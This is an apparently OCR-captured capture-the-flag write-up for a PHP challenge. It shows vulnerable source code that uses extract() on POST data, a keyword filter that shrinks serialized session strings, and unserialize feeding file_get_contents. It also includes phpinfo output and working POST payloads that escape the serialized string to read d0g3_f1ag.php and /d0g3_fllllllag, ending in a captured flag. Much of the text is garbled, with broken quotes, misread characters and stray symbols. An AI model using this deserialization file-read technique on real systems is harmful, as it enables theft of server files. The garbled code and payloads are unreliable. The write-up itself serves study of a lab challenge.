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<?php
$function = @$_GET['f']; //get flfunction

function filter($img){
$filter_arr = array('php','flag', 'php5', 'phpa','flig');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,"'',%$img);

if($_SESSION){
unset($_SESSION); //unset#$ SESSION#RT .

$_SESSION["user"] = 'guest'; //$ SESSION#(#
$_SESSION[ 'function'] = $function;

extract($_POST); //extract&EHZTEE &

if(!$function){
echo '<a href="index.php?f=highlight file">source_code</a>";

if(!$_GET[ 'img_path']){
$ SESSION['img'] = base64_encode( 'guest_img.png');
telse{
$_SESSION['img'] = shal(base64_encode($ GET['img_path']));

$serialize_info = filter(serialize($ _SESSION));  //$ SESSION#(Z1/7 55 Hidikr7H$serialize _info

if($function == 'highlight_file'){

highlight file('index.php');
}else if($function == 'phpinfo’){

eval('phpinfo();"'); //maybe you can find something in here!
}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo[ 'img']));

phpinfo BTHI#X E| deg3_f1iag.php

Core

| PHP Version | 7033 |
_ peave | tewlvae [ Maservawe |
allow url fopen On On

allow_url include Off off

arg_separator.input & &

arg_separator.output & &

| auto_append file d0g3 fag.phy d0g3 _flag.php
auto_globals jit On On
auto_prepend file no value no value B
ESORF@SIT
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if(!$_GET['img_path’]){

$_SESSION['img’] = base64_encode(‘guest_img.png’);
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payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBNM19mMWFnLnBocA==";}
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_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBNM19mMWFnLnBocA==";} //ZDBnM19mMWFnLnBocA== -  d@g3_flag.php
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serialize($_SESSION)
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";5:20:"ZDBNM1O9mMMWFnLnBocA==";}";s:3:"img";s:20:"Z3V1c3RfaWlnLnBuZw==
niyn

phpflag WM ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLNBocA==
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filterid¥8/a phpflagif 24 & Hui
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20: "ZDBNM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3V1c3RfaWlnLnBuZw==";}

BEoAEAT Uis:48: 7hL, REXMHMER s:1:"1"; BIAL
FANEZLHAET, BHEKNEY;s:3:"ing";s:20: "Z3V1c3RfaWlnLnBuZw==""; } &k H &I

BEMHA: ;s:1:"1";s:3:"img";s:20: "ZDBnM19mMWFnLnBocA==";} K E N48 — s:48:

phpflag K &7 == ";s:48:
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LOAD SPLIT EXECUTE TEST -~ sqLl - XSS -~ LFl -~ SSTI ~ ENCODING ~ HASHING -~

URL

http://3f0f9a45-46c6-4f6b-a8c4-d636dc00adca.node4.buuoj.cn:81/index.php?f=show_image

enctype

@@ cnable POST application/x-www-form-urlencoded v ADD HEADER

Body
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

@ view-source:3f0f9a45-46c6-41 X +

C A F%% | view-source:3f0f9245-46c6-4f6b-a8c4-d636dc00adca.noded.buuoj.cn:81/index.php?f=show image
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$flag = 'flag in /deg3_fllllllag'; [FHEiLEL

& - C A 7% | 3f0f9a45-46c6-4f6b-a8c4-d636dc00adca.noded.buuoj.cn:81/index.php?f=show _image
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flag{5bf9a35f-a07c-4b55-9983-25ee50ee425¢}
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LOAD SPLIT EXECUTE TEST ~ sqLl ~ XSS -~ LFl ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://3f0f9a45-46c6-4f6b-a8c4-d636dc00adca.noded.buuoj.cn:81/index.php?f=show_image

enctype

‘ Enable POST application/x-www-form-urlencoded v ADD HEADER

Body
_SESSION[flagphp]=;s:1:"1";5:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
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